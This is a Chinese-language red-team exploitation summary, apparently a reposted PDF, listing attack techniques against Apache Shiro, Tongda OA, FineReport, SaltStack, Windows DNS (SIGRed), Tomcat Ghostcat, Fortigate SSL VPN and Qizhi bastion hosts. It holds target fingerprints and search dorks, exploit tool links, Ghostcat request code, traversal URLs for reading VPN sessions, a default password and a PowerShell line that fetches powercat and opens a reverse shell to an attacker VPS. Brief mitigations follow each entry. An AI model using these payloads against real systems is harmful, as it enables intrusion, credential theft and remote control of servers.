搜索

[21242] 2020-09-13_2020HW红方漏洞利用总结（二）

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2020-09-13_2020HW红方漏洞利用总结（二） 2 0 2 0 H W 红 方 漏 洞 利 用 总 结 （ 二 ） L e m o n S e c   2 0 2 0 - 0 9 - 1 3 转 载 自 ： 乌 云 安 全 一 年 一 度 的 H W 来 了 ， 是 时 候 充 实 一 波 自 己 的 漏 洞 库 了 ， 红 方 漏 洞 利 用 总 结 送 给 大 家 ! 2 0 2 0 H W 红 方 漏 洞 利 用 总 结 （ 一 ） 1 A p a c h e   S h i r o   R e m e m b e r M e   反 序 列 化 导 致 的 命 令 执 行 漏 洞 反 序 列 化 导 致 的 命 令 执 行 漏 洞   ( S h i r o - 5 5 0 ,   C V E - 2 0 1 6 - 4 4 3 7 ） ） 1 .   漏 洞 简 介 漏 洞 简 介 A p a c h e   S h i r o   是 企 业 常 见 的 J a v a 安 全 框 架 ,   其 漏 洞 在 2 0 1 9 年 攻 防 演 练 中 起 到 显 著 作 用 2 .   影 响 组 件 影 响 组 件 A p a c h e   S h i r o   ( 由 于 密 钥 泄 露 的 问 题 ,   部 分 高 于 1 . 2 . 4 版 本 的 S h i r o 也 会 受 到 影 响 ) 3 .   漏 洞 指 纹 漏 洞 指 纹 s e t - C o o k i e : r e m e m b e r M e = d e l e t e M e 或 者 U R L 中 有 s h i r o 字 样 有 一 些 时 候 服 务 器 不 会 主 动 返 回   r e m e m b e r M e = d e l e t e M e ,   直 接 发 包 即 可 4 .   F o f a   D o r k a p p = " A p a c h e - S h i r o " 5 .   漏 洞 分 析 漏 洞 分 析 漏 洞 分 析 ： S h i r o   R e m e m b e r M e   1 . 2 . 4   反 序 列 化 导 致 的 命 令 执 行 漏 洞 h t t p s : / / p a p e r . s e e b u g . o r g / s h i r o - r e m e m b e r m e - 1 - 2 - 4 / 6 .   漏 洞 利 用 漏 洞 利 用 w y z x x z / s h i r o _ r c e : s h i r o   r c e 反 序 列 命 令 执 行 一 键 工 具 h t t p s : / / g i t h u b . c o m / w y z x x z / s h i r o _ r c e A p a c h e   S h i r o 回 显 p o c 改 造 计 划 h t t p s : / / m p . w e i x i n . q q . c o m / s / - O D g 9 x L 8 3 8 w r o 2 S _ N K 3 0 b w 7 .   利 用 技 巧 利 用 技 巧 1 . 使 用 多 个 泄 露 的 k e y 进 行 遍 历 ,   这 个 在 实 战 中 确 实 有 效 关 于 S h i r o 反 序 列 化 漏 洞 的 延 伸 — 升 级 s h i r o 也 能 被 s h e l l h t t p s : / / m p . w e i x i n . q q . c o m / s / N R x - r D B E F E b Z Y r f n R w 2 i D w S h i r o   1 0 0   K e y
h t t p s : / / m p . w e i x i n . q q . c o m / s / s c l S e 2 h W f h v 8 R Z v Q C u I 8 L A 2 . 使 用 U R L D N S 进 行 检 测 提 速 使 用 适 应 性 最 强 的 U R L D N S ( 这 个 不 受 J D K 版 本 和 安 全 策 略 影 响 ,   除 非 网 络 限 制 不 能 出 D N S ) 进 行 检 测 且 可 以 使 用 y s o s e r i a l 提 前 生 成 序 列 化 内 容 j a v a - j a r t a r g e t / y s o s e r i a l - 0 . 0 . 5 - S N A P S H O T - a l l . j a r U R L D N S   " h t t p : / / 1 2 3 4 5 6 7 8 9 0 . t e s t . c e y e . i o "   >   u r l d n s . s e r 然 后 使 用 占 位 符 + 目 标 u r l h a s h 的 方 法 修 改 序 列 化 内 容 中 的 u r l d n s 地 址 提 高 检 测 速 度 以 及 后 续 检 测 无 需 使 用 y s o s e r i a l 例 如 1 2 3 4 5 6 7 8 9 0 . t e s t . c e y e . i o 可 以 换 成 m d 5 ( ' w w w . q q . c o m ' ) . h e x d i g e s t ( )   [ : 1 0 ] . t e s t . c e y e . i o 也 就 是 9 d 2 c 6 8 d 8 2 d . t e s t . c e y e . i o 可 以 预 先 记 录 h a s h 9 d 2 c 6 8 d 8 2 d   w w w . q q . c o m 然 后 进 行 h a s h 查 表 就 可 以 知 道 是 D N S L O G 来 自 哪 个 目 标 , 性 能 会 提 高 不 少 3 . 已 知 目 标 使 用 了 S h i r o , 可 以 采 取 S h i r o - 7 2 1 的 报 错 逻 辑 来 进 行 遍 历 k e y 这 样 即 使 D N S 不 能 出 网 , 也 可 以 通 过 是 否 返 回 r e m e m b e r M e = d e l e t e M e 来 断 定 s h i r o   k e y 的 正 确 性 ,   前 提 是 服 务 器 有 r e m e m b e r M e = d e l e t e M e 相 关 回 显 8 .   防 护 方 法 防 护 方 法 1 . 升 级 S h i r o 到 最 新 版 2 . 升 级 对 应 J D K 版 本 到   8 u 1 9 1 / 7 u 2 0 1 / 6 u 2 1 1 / 1 1 . 0 . 1   以 上 3 . W A F 拦 截 C o o k i e 中 长 度 过 大 的 r e m e m b e r M e 值 2 通 达 通 达 O A   远 程 代 码 执 行 漏 洞 远 程 代 码 执 行 漏 洞 1 .   漏 洞 简 介 漏 洞 简 介 通 达 O A   在 国 内 的 用 户 也 比 较 多 ,   虽 说 代 码 加 了 密 ,   奈 何 是 Z e n d 5 . 4 ,   解 码 很 简 单 ,   然 后 代 码 中 的 漏 洞 就 很 清 楚 ,   尤 其 是 变 量 覆 盖 和 注 入 2 .   影 响 组 件 影 响 组 件 通 达 O A 3 .   漏 洞 指 纹 漏 洞 指 纹 " / i m a g e s / t o n g d a . i c o " > O f f i c e   A n y w h e r e   2 0 x x 版 网 络 智 能 办 公 系 统 / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p 4 .   F o f a   D o r k a p p = " 通 达 O A " 5 .   漏 洞 分 析 漏 洞 分 析 n o t e / r e a d m e . m d   a t   c 2 8 f 7 b 2 3 2 a d 5 f 0 f f 7 c c c 6 7 2 b b e d c d 3 4 e 9 e 3 c c a 8 6   l e e z p / n o t e h t t p s : / / g i t h u b . c o m / l e e z p / n o t e / b l o b / c 2 8 f 7 b 2 3 2 a d 5 f 0 f f 7 c c c 6 7 2 b b e d c d 3 4 e 9 e 3 c c a 8 6 / 2 0 2 0 0 3 1 3 % E 9 % 8 0 % 9 A % E 8 % B E % B E O A / r e a d m e . m d 代 码 审 计   |   通 达 O A   任 意 用 户 登 录 漏 洞 （ 匿 名 R C E ） 分 析   |   z r o o l s h t t p s : / / w w w . z r o o l s . o r g / 2 0 2 0 / 0 4 / 2 3 / % E 4 % B B % A 3 % E 7 % A 0 % 8 1 % E 5 % A E % A 1 % E 8 % A E % A 1 - % E 9 % 8 0 % 9 A % E 8 % B E % B E O A - % E 4 % B B % B B % E 6 % 8 4 % 8 F % E 7 % 9 4 % A 8 % E 6 % 8 8 % B 7 % E 7 % 9 9 % B B % E 5 % B D % 9 5 % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E F % B C % 8 8 % E 5 % 8 C % B F % E 5 % 9 0 % 8 D R C E % E F % B C % 8 9 % E 5 % 8 8 % 8 6 % E 6 % 9 E % 9 0 /
6 .   漏 洞 利 用 漏 洞 利 用 N S - S p 4 c e / T o n g D a O A - F a k e - U s e r :   通 达 O A   任 意 用 户 登 录 漏 洞 h t t p s : / / g i t h u b . c o m / N S - S p 4 c e / T o n g D a O A - F a k e - U s e r t o o l s / t o n g d a _ v 1 1 . 4 _ r c e _ e x p . p y   a t   m a s t e r   ·   z r o o l s / t o o l s   管 理 员 伪 造 后 s q l 写 s h e l l h t t p s : / / g i t h u b . c o m / z r o o l s / t o o l s / b l o b / m a s t e r / p y t h o n / t o n g d a _ v 1 1 . 4 _ r c e _ e x p . p y 7 .   利 用 技 巧 利 用 技 巧 1 . 这 个 漏 洞 也 很 简 单 ,   发 预 警 的 当 天 就 分 析 出 来 了 , 一 个 上 传 , 一 个 包 含 ,   主 要 是 文 件 包 含 漏 洞 的 / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p 文 件 在 v 1 1 才 有 绕 过 d i s a b l e _ f u n c t i o n 也 很 简 单 ,   直 接 调 用 C O M ( ' W S c r i p t . s h e l l ' ) 组 件 就 o k 了 2 . 文 件 名 结 构 规 则 如 下 2 5 6 @ 2 0 0 3 _   2 0 5 5 4 9 9 6 2 0 | 1 2 3 .   p h p . 对 应 文 件 名 为 a t t a c h / i m / 2 0 0 3 / 2 0 5 5 4 9 9 6 2 0 . 1 2 3 . p h p 因 为 是 w i n d o w s 的 , 1 . p h p . 可 以 绕 过 黑 名 单 , 写 到 文 件 就 成 了 1 . p h p   3 . 2 0 2 0 年 年 4 月 月 2 0 号 爆 出 任 意 用 户 伪 造 登 录 号 爆 出 任 意 用 户 伪 造 登 录 ,   这 里 小 伙 伴 测 试 这 里 小 伙 伴 测 试   2 0 1 7   和 和   v 1 1   的 的   p o c   好 像 可 以 用 好 像 可 以 用 通 达 O A 前 台 任 意 用 户 伪 造 登 录 漏 洞 h t t p s : / / v a s . r i s k i v y . c o m / v u l n - d e t a i l ? i d = 3 3 N S - S p 4 c e / T o n g D a O A - F a k e - U s e r :   通 达 O A   任 意 用 户 登 录 漏 洞 h t t p s : / / g i t h u b . c o m / N S - S p 4 c e / T o n g D a O A - F a k e - U s e r 8 .   防 护 方 法 防 护 方 法 1 . 及 时 更 新 补 丁 2 . 使 用 w a f 拦 截 3 致 远 致 远 O A   帆 软 报 表 帆 软 报 表   s e e y o n r e p o r t   远 程 代 码 执 行 远 程 代 码 执 行 1 .   漏 洞 简 介 漏 洞 简 介 帆 软 报 表   ( s e e y o n r e p o r t )   很 多 时 候 会 跟 合 致 远 O A 一 起 出 现 ,   通 常 用 户 还 不 知 道 ,   所 以 这 里 有 几 个 漏 洞 点 2 .   影 响 组 件 影 响 组 件 帆 软 报 表   s e e y o n r e p o r t 3 .   漏 洞 指 纹 漏 洞 指 纹 h t t p s : / / s e e y o o n . c o m / s e e y o n r e p o r t / R e p o r t S e r v e r ? o p = f s _ l o a d & c m d = f s _ s i g n i n & _ = 1 5 6 0 9 1 1 8 2 8 8 9 2 s e e y o n r e p o r t 4 .   F o f a   D o r k a p p = " 用 友 - 致 远 O A "
5 .   漏 洞 分 析 漏 洞 分 析 帆 软 报 表 v 8 . 0   G e t s h e l l 漏 洞 分 析   |   A D o g ’ s   B l o g h t t p : / / f o r e v e r s o n g . c n / a r c h i v e s / 1 3 7 8 6 .   漏 洞 利 用 漏 洞 利 用 帆 软 报 表 v 8 . 0   G e t s h e l l 漏 洞 分 析   |   A D o g ’ s   B l o g h t t p : / / f o r e v e r s o n g . c n / a r c h i v e s / 1 3 7 8 x r a y / f i n e r e p o r t - d i r e c t o r y - t r a v e r s a l . y m l   a t   m a s t e r   c h a i t i n / x r a y h t t p s : / / g i t h u b . c o m / c h a i t i n / x r a y / b l o b / m a s t e r / p o c s / f i n e r e p o r t - d i r e c t o r y - t r a v e r s a l . y m l 7 .   利 用 技 巧 利 用 技 巧 1 . 未 设 置 密 码 或 者 读 取 读 取 管 理 员 密 码 h t t p s : / / s e e y o o n . c o m / s e e y o n r e p o r t / R e p o r t S e r v e r ? o p = f s _ l o a d & c m d = f s _ s i g n i n & _ = 1 5 6 0 9 1 1 8 2 8 8 9 2 这 里 很 有 可 能 是 没 有 设 置 密 码 的 ,   修 改 密 码 进 入 后 台 就 可 以 了 如 果 设 置 里 密 码 ,   尝 试 这 个 接 口 / r e p o r t / R e p o r t S e r v e r ? o p = c h a r t & c m d = g e t _ g e o _ j s o n & r e s o u r c e p a t h = p r i v i l e g e . x m l , 读 取 管 理 员 密 码 ,   然 后 使 用 上 文 的 解 密 程 序 解 密 2 . 后 台 g e t s h e l l 这 种 后 台 能 装 插 件 的 都 随 便 g e t s h e l l ， 先 去 下 载 一 个 指 定 版 本 的 j a r 包 ， 本 地 测 试 环 境 是 9 . 0 ， 下 载 c o m . f r . p l u g i n . e x t e r n a l - 1 . 3 . 4 . z i p h t t p s : / / s h o p . f i n e r e p o r t . c o m / p l u g i n / 2 d 3 6 b 2 1 0 - 2 a 5 9 - 4 9 4 0 - 8 c 4 f - f 3 f 1 6 d 5 8 c d 6 6 h t t p : / / s h o p p s . f i n e r e p o r t . c o m / c o m . f r . p l u g i n . e x t e r n a l - 1 . 3 . 4 . z i p ? e = 1 5 6 1 4 3 3 1 6 2 & t o k e n = G Y G 9 v M i o x q b E g x - 5 H o A M A e l D 0 z G d U r X T 4 U Z 3 w - d 1 : N - P e I k h K k j C Y 7 L H d q e l n S v p _ L m A = 编 译 一 个 恶 意 的 L o c a l e F i n d e r . c l a s s 打 包 进 去 ， 复 制 L o c a l e F i n d e r . c l a s s 到 c o m . f r . p l u g i n . e x t e r n a l - 1 . 3 . 4 . z i p f r - p l u g i n - e x t e r n a l - 1 . 3 . 4 f r - p l u g i n - e x t e r n a l - 1 . 3 . 4 . j a r c o m f r p l u g i n e x t e r n a l l o c a l e 进 入 到 插 件 管 理 界 面 , 上 传 符 合 规 范 的 j a r 包 插 件 即 可 没 生 效 就 访 问 一 下 h t t p s : / / x x x x / s e e y o n r e p o r t / R e p o r t S e r v e r ? o p = i m 一 般 后 台 都 是 w i n , 可 以 直 接 使 用 p o w e r s h e l l 进 行 反 弹 s h e l l p o w e r s h e l l I E X ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b e s i m o r h i n o / p o w e r c a t / m a s t e r / p o w e r c a t . p s 1 ' ) ; p o w e r c a t   - c   v p s _ i p   - p   6 6 6 6   - e   c m d 8 .   防 护 方 法 防 护 方 法 1 . 及 时 更 新 补 丁 2 . 使 用 w a f 拦 截 4 S a l t S t a c k 认 证 绕 过 复 现 认 证 绕 过 复 现 1 、 漏 洞 概 述 、 漏 洞 概 述 在   C V E - 2 0 2 0 - 1 1 6 5 1 认 证 绕 过 漏 洞 中 攻 击 者 通 过 构 造 恶 意 请 求 ， 可 以 绕 过   S a l t   M a s t e r 的 验 证 逻 辑 ， 调 用 相 关 未 授 权 函 数 功 能 ， 从 而 可 以 造 成 远 程 命 令 执 行 漏 洞 ： C l e a r F u n c s 类 会 处 理 非 认 证 的 请 求 和 暴 露 _ s e n d _ p u b ( ) 方 法 ， 可 以 用 来 直 接 在 m a s t e r   p u b l i s h 服 务 器 上 对 消 息 进 行 排 队 。 这 些 消 息 可 以 用 来 触 发 m i n i o n 来 以 r o o t 权 限 运 行 任 意 命 令 。
C l e a r F u n c s 类 还 会 暴 露 p r e p _ a u t h _ i n f o ( ) 方 法 ， 该 方 法 会 返 回 用 来 认 证 m a s t e r 服 务 器 上 本 地 r o o t 用 户 的 命 令 的 r o o t   k e y 。 然 后 r o o t   k e y 就 可 以 远 程 调 用 m a s t e r   服 务 器 的 管 理 命 令 。 这 种 无 意 的 暴 露 提 供 给 远 程 非 认 证 的 攻 击 者 对 s a l t   m a s t e r 的 与 r o o t 权 限 等 价 的 访 问 权 限 。 2 、 影 响 版 本 、 影 响 版 本 l   S a l t S t a c k   <   2 0 1 9 . 2 . 4 l   S a l t S t a c k   <   3 0 0 0 . 2 3 、 环 境 搭 建 、 环 境 搭 建 直 接 使 用 v u l h u b 进 行 搭 建 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b . g i t c d   / v u l h u b / s a l t s t a c k / C V E - 2 0 2 0 - 1 1 6 5 1 / d o c k e r - c o m p o s e   u p   - d 查 看 环 境 是 否 启 动 d o c k e r   p s 4 、 漏 洞 复 现 、 漏 洞 复 现 P o c ： h t t p s : / / g i t h u b . c o m / j a s p e r l a / C V E - 2 0 2 0 - 1 1 6 5 1 - p o c 执 行 前 需 要 安 装 s a l t 库 ， 需 指 定 s a l t 库 版 本 p i p 3   i n s t a l l   s a l t = = 2 0 1 9 . 2 . 3 读 取 文 件 ： p y t h o n 3   e x p l o i t . p y   - - m a s t e r   1 9 2 . 1 6 8 . 2 3 2 . 1 7 0   - r   / e t c / p a s s w d 5 、 修 复 方 式 、 修 复 方 式 1 、 S a l t S t a c k 官 方 已 发 布 最 新 版 本 修 复 此 漏 洞 ， 建 议 相 关 用 户 及 时 更 新 至 安 全 版 本 及 其 以 上 ， 并 开 启 S a l t S t a c k 自 动 更 新 ， 以 便 实 时 获 取 补 丁 或 升 级 至 安 全 版 本 ： h t t p s : / / r e p o . s a l t s t a c k . c o m / 2 、 禁 止 将 S a l t   M a s t e r 默 认 监 听 端 口 （ 4 5 0 5 、 4 5 0 6 ） 向 公 网 开 放 ， 并 设 置 为 仅 对 可 信 对 象 开 放 。 5 W i n d o w s   D N S   S e r v e r 蠕 虫 级 远 程 代 码 执 行 漏 洞 蠕 虫 级 远 程 代 码 执 行 漏 洞 1 、 漏 洞 详 情 、 漏 洞 详 情 W i n d o w s   D N S   S e r v e r   是   W i n d o w s   S e r v e r   服 务 器 上 一 项 重 要 功 能 组 件 。 负 责 域 内 主 机 的 所 有 D N S 相 关 服 务 的 调 度 和 处 理 。 远 程 攻 击 者 可 不 经 过 身 份 验 证 ， 向 受 影 响 的 服 务 器 发 送 特 制 的 请 求 包 ， 最 终 触 发 该 漏 洞 ， 成 功 利 用 此 漏 洞 的 攻 击 者 可 在 受 影 响 的 系 统 上 执 行 任 意 代 码 。 进 而 控 制 其 他 相 连 通 的 服 务 造 成 严 重 危 害 。 2 、 影 响 版 本 、 影 响 版 本 W i n d o w s   S e r v e r   2 0 0 8   f o r   3 2 - b i t   S y s t e m s   S e r v i c e   P a c k   2 W i n d o w s   S e r v e r   2 0 0 8   f o r   3 2 - b i t   S y s t e m s   S e r v i c e   P a c k   2   ( S e r v e r   C o r e   i n s t a l l a t i o n ) W i n d o w s   S e r v e r   2 0 0 8   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   2
W i n d o w s   S e r v e r   2 0 0 8   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   2   ( S e r v e r   C o r e   i n a s t a l l a t i o n ) W i n d o w s   S e r v e r   2 0 0 8   R 2   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   1 W i n d o w s   S e r v e r   2 0 0 8   R 2   f o r   x 6 4 - b a s e d   S y s t e m s   S e r v i c e   P a c k   1   ( S e r v e r   C o r e     i n s t a l l a t i o n ) W i n d o w s   S e r v e r   2 0 1 2 W i n d o w s   S e r v e r   2 0 1 2   ( S e r v e r   C o r e   i n s t a l l a t i o n ) W i n d o w s   S e r v e r   2 0 1 2   R 2 W i n d o w s   S e r v e r   2 0 1 2   R 2   ( S e r v e r   C o r e   i n s t a l l a t i o n ) W i n d o w s   S e r v e r   2 0 1 6 W i n d o w s   S e r v e r   2 0 1 6   ( S e r v e r   C o r e   i n s t a l l a t i o n ) W i n d o w s   S e r v e r   2 0 1 9 W i n d o w s   S e r v e r   2 0 1 9   ( S e r v e r   C o r e   i n s t a l l a t i o n ) W i n d o w s   S e r v e r   v e r s i o n   1 9 0 9   ( S e r v e r   C o r e   i n s t a l l a t i o n ) W i n d o w s   S e r v e r   v e r s i o n   1 9 0 3   ( S e r v e r   C o r e   i n s t a l l a t i o n ) W i n d o w s   S e r v e r   v e r s i o n   2 0 0 4   ( S e r v e r   C o r e   i n s t a l l a t i o n ) 3 、 利 用 场 景 、 利 用 场 景 （ 1 ） 受 害 者 访 问 攻 击 者 域 名 " e v i l . s e r v e r . i o " （ 2 ） 本 地 D N S 服 务 器 或 域 内 的 D N S 服 务 器 无 法 解 析 " e v i l . s e r v e r . i o " ， 向 g o o g l e   D N S 服 务 器 （ 如 8 . 8 . 8 . 8 ） 查 询 （ 3 ） 查 到 后 ， 发 现 该 域 名 可 以 由 攻 击 者 D N S 服 务 器 解 析 ， 所 以 将 该 信 息 缓 存 到 域 服 务 器 上 （ 4 ） 第 二 次 查 询 时 ， 直 接 和 攻 击 者 D N S 服 务 器 进 行 查 询 （ 5 ） 此 时 攻 击 者 服 务 器 就 可 以 构 造 响 应 包 触 发 漏 洞 E X P ： C V E - 2 0 2 0 - 1 3 5 0   ( S I G R e d )   -   W i n d o w s   D N S   D o S   E x p l o i t h t t p s : / / g i t h u b . c o m / m a x p l 0 i t / C V E - 2 0 2 0 - 1 3 5 0 - D o S 4 、 修 复 建 议 、 修 复 建 议 微 软 提 供 了 临 时 的 缓 解 措 施 ： 修 改 注 册 表 H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t S e r v i c e s D N S P a r a m e t e r s 值 ： T c p R e c e i v e P a c k e t S i z e   数 据 类 型   D W O R D   = 0 x F F 0 0 注 意 ： 必 须 重 新 启 动   D N S   服 务 才 能 生 效 。 有 关 更 多 信 息 ， 请 参 阅   K B 4 5 6 9 5 0 9 ： D N S   服 务 器 漏 洞   C V E - 2 0 2 0 - 1 3 5 0   指 南 ： h t t p s : / / s u p p o r t . m i c r o s o f t . c o m / z h - c n / h e l p / 4 5 6 9 5 0 9 / w i n d o w s - d n s - s e r v e r - r e m o t e - c o d e - e x e c u t i o n - v u l n e r a b i l i t y 若 要 移 除 此 临 时 解 决 方 法 ： 应 用 修 补 程 序 后 ， 管 理 员 可 以 移 除 值   T c p R e c e i v e P a c k e t S i z e   及 其 数 据 ， 以 使 注 册 表 项 H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t S e r v i c e s D N S P a r a m e t e r s   下 的 所 有 其 他 内 容 与 之 前 保 持 相 同 。 手 动 升 级 方 案 ： 手 动 升 级 方 案 ： 通 过 如 下 链 接 自 行 寻 找 符 合 操 作 系 统 版 本 的 漏 洞 补 丁 ， 并 进 行 补 丁 下 载 安 装 。 C V E - 2 0 2 0 - 1 3 5 0   |   W i n d o w s   D N S   服 务 器 远 程 执 行 代 码 漏 洞 服 务 器 远 程 执 行 代 码 漏 洞 h t t p s : / / p o r t a l . m s r c . m i c r o s o f t . c o m / z h - C N / s e c u r i t y - g u i d a n c e / a d v i s o r y / C V E - 2 0 2 0 - 1 3 5 0
6 T o m c a t   本 地 文 件 包 含 漏 洞 本 地 文 件 包 含 漏 洞   ( C V E - 2 0 2 0 - 1 9 3 8 ) 1 .   漏 洞 简 介 漏 洞 简 介 T o m c a t   是 常 见 的 W e b   容 器 ,   用 户 量 非 常 巨 大 ,   T o m c a t   8 0 0 9   a j p 端 口 一 直 是 默 认 开 放 的 ,   这 个 漏 洞 存 在 很 多 年 了 ,   这 次 应 该 有 奇 效 2 .   影 响 组 件 影 响 组 件 A p a c h e   T o m c a t   6 A p a c h e   T o m c a t   7   <   7 . 0 . 1 0 0 A p a c h e   T o m c a t   8   <   8 . 5 . 5 1 A p a c h e   T o m c a t   9   <   9 . 0 . 3 1 3 .   F o f a   D o r k p r o t o c o l = " a j p " 4 .   漏 洞 分 析 漏 洞 分 析 A p a c h e   T o m c a t   A J P 协 议 文 件 包 含 漏 洞 分 析 – 斗 象 能 力 中 心 h t t p s : / / b l o g . r i s k i v y . c o m / a p a c h e - t o m c a t - a j p % e 5 % 8 d % 8 f % e 8 % a e % a e % e 6 % 9 6 % 8 7 % e 4 % b b % b 6 % e 5 % 8 c % 8 5 % e 5 % 9 0 % a b % e 6 % b c % 8 f % e 6 % b 4 % 9 e % e 5 % 8 8 % 8 6 % e 6 % 9 e % 9 0 / 5 、 漏 洞 利 用 、 漏 洞 利 用 0 n i s e / C V E - 2 0 2 0 - 1 9 3 8 :   C V E - 2 0 2 0 - 1 9 3 8 h t t p s : / / g i t h u b . c o m / 0 n i s e / C V E - 2 0 2 0 - 1 9 3 8 6 .   利 用 技 巧 利 用 技 巧 1 . 当 时 还 没 公 开 p o c 的 时 候 就 分 析 出 来 e x p 挺 有 意 思 的 ,   效 果 确 实 还 可 以 ,   当 天 f o f a 都 被 累 挂 了 主 要 代 码 也 就 这 t   =   T o m c a t ( " 1 2 7 . 0 . 0 . 1 " ,   8 0 0 9 ) _ ,   d a t a   =   t . p e r f o r m _ r e q u e s t ( ' / ' , a t t r i b u t e s = [ { ' n a m e ' :   ' r e q _ a t t r i b u t e ' , ' v a l u e ' :   [ ' j a v a x . s e r v l e t . i n c l u d e . r e q u e s t _ u r i ' ,   ' / ' ] } , { ' n a m e ' :   ' r e q _ a t t r i b u t e ' , ' v a l u e ' :   [ ' j a v a x . s e r v l e t . i n c l u d e . p a t h _ i n f o ' ,   " / W E B - I N F / w e b . x m l " ] } , { ' n a m e ' :   ' r e q _ a t t r i b u t e ' , ' v a l u e ' :   [ ' j a v a x . s e r v l e t . i n c l u d e . s e r v l e t _ p a t h ' ,   ' / ' ]
} , ] ) p r i n t ( ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' ) p r i n t ( " " . j o i n ( [ b y t e s . d e c o d e ( d . d a t a )   f o r   d   i n   d a t a ] ) ) 2 . 通 过 修 改 这 里 的 路 径 可 以 进 行 W e b a p p 切 换 ,   默 认 是 R O O T / ,   需 要 切 换 应 用 就 改 成 / a d m i n / 3 . 通 常 检 测 的 时 候 , 尽 量 保 持 t . p e r f o r m _ r e q u e s t ( ' / ' , 有 的 p o c 喜 欢 用 / a d d s d 这 种 的 不 存 在 的 路 径 ,   有 些 情 况 会 读 不 到 文 件 8 .   防 护 方 法 防 护 方 法 1 . 升 级 到 最 新 版 2 . 屏 蔽 8 0 0 9 端 口 对 外 开 放 7 F o r t i g a t e   S S L   V P N   文 件 读 取 文 件 读 取 / 远 程 代 码 执 行 远 程 代 码 执 行 1 .   漏 洞 简 介 漏 洞 简 介 F o r t i g a t e   S S L   V P N   在 全 球 用 户 量 巨 大 ,   去 年 橘 子 哥 发 现 了 文 件 读 取 和 远 程 代 码 执 行 漏 洞 2 .   影 响 组 件 影 响 组 件 F o r t i g a t e   S S L   V P N 3 .   漏 洞 指 纹 漏 洞 指 纹 F o r t i g a t e 4 t i n e t 2 0 9 5 8 6 6 4 .   F o f a   D o r k " F o r t i g a t e "   & &   p o r t = 1 0 4 4 3 5 .   漏 洞 分 析 漏 洞 分 析 O r a n g e :   A t t a c k i n g   S S L   V P N   –   P a r t   2 :   B r e a k i n g   t h e   F o r t i g a t e   S S L   V P N h t t p s : / / b l o g . o r a n g e . t w / 2 0 1 9 / 0 8 / a t t a c k i n g - s s l - v p n - p a r t - 2 - b r e a k i n g - t h e - f o r t i g a t e - s s l - v p n . h t m l ? m = 1 6 .   漏 洞 利 用 漏 洞 利 用 密 码 读 取 m i l o 2 0 1 2 / C V E - 2 0 1 8 - 1 3 3 7 9 :   C V E - 2 0 1 8 - 1 3 3 7 9 h t t p s : / / g i t h u b . c o m / m i l o 2 0 1 2 / C V E - 2 0 1 8 - 1 3 3 7 9 任 意 密 码 重 置 ,   这 肯 定 是 个 后 门 m i l o 2 0 1 2 / C V E - 2 0 1 8 - 1 3 3 8 2 :   C V E - 2 0 1 8 - 1 3 3 8 2 h t t p s : / / g i t h u b . c o m / m i l o 2 0 1 2 / C V E - 2 0 1 8 - 1 3 3 8 2 7 .   利 用 技 巧 利 用 技 巧 1 . 文 件 读 取 的 路 径 构 造
h t t p s : / / x x x x x x : 1 0 4 4 3 / r e m o t e / f g t _ l a n g ? l a n g = / . . / . . / . . / . . / / / / / / / / / / d e v / c m d b / s s l v p n _ w e b s e s s i o n 如 下 p a d d i n g 可 以 构 造 出 来 任 意 文 件 读 取 ,   可 以 读 取 其 他 文 件 ,   注 意 这 个 系 统 好 像 没 有 / e t c / p a s s w d   p r i n t ( " / . . / . . / . . / . . / " + ( r a w _ i n p u t ( ) . r j u s t ( 3 5 , ' / ' ) ) ) 2 . 寻 找 魔 术 数 字 虽 然 当 时 橘 子 哥 没 有 公 开 魔 术 数 字 ,   但 是 当 时 随 手 分 析 了 一 下 下 面 这 个 启 动 文 件 ,   搜 索 一 下 m a g i c 就 找 到   4 t i n e t 2 0 9 5 8 6 6 , h t t p s : / / x x x x x x x x : 1 0 4 4 3 / r e m o t e / f g t _ l a n g ? l a n g = / . . / . . / . . / . . / / / / / / / / / / / / / / / / / / / / / / / / / b i n / s s l v p n d 后 来 发 现 这 个 字 符 串 在 j s 里 面 也 有 ,   直 接 从 前 台 分 析 也 可 以 获 得 h t t p s : / / x x x x x : 1 0 4 4 3 / s s l v p n / j s / l g i n . j s ? q = 5 f 9 a 6 8 7 7 f d 1 f 7 8 d a 7 6 8 2 3 9 a a e 6 e 7 3 9 c 2 8 .   防 护 方 法 防 护 方 法 1 . 及 时 更 新 补 丁 2 . 升 级 到 最 新 版 8 齐 治 堡 垒 机 相 关 漏 洞 齐 治 堡 垒 机 相 关 漏 洞 1 .   漏 洞 简 介 漏 洞 简 介 齐 治 堡 垒 机 是 国 内 使 用 比 较 多 的 堡 垒 机 产 品 ,   后 端 使 用 P H P 编 写 2 .   影 响 组 件 影 响 组 件 齐 治 堡 垒 机 3 .   漏 洞 指 纹 漏 洞 指 纹 s h t e r m 4 .   F o f a   D o r k a p p = " s h t e r m - 堡 垒 机 " 5 .   漏 洞 分 析 漏 洞 分 析 审 计 某 系 统 从 解 密 到 G e t S h e l l – 云 + 社 区 – 腾 讯 云 h t t p s : / / c l o u d . t e n c e n t . c o m / d e v e l o p e r / a r t i c l e / 1 4 4 8 7 0 0 齐 治 堡 垒 机 远 程 命 令 执 行 漏 洞 （ C N V D - 2 0 1 9 - 2 0 8 3 5 ） 分 析 – 开 发 笔 记 h t t p : / / k f b i j i . c o m / a r t i c l e / 6 5 b 9 8 1 1 4 9 0 3 2 4 8 e b 6 .   漏 洞 利 用 漏 洞 利 用 齐 治 堡 垒 机 远 程 命 令 执 行 漏 洞 （ C N V D - 2 0 1 9 - 2 0 8 3 5 ） 分 析 – 开 发 笔 记 h t t p : / / k f b i j i . c o m / a r t i c l e / 6 5 b 9 8 1 1 4 9 0 3 2 4 8 e b 7 .   利 用 技 巧 利 用 技 巧 1 . 齐 治 堡 垒 机 默 认 口 令 : s h t e r m / s h t e r m
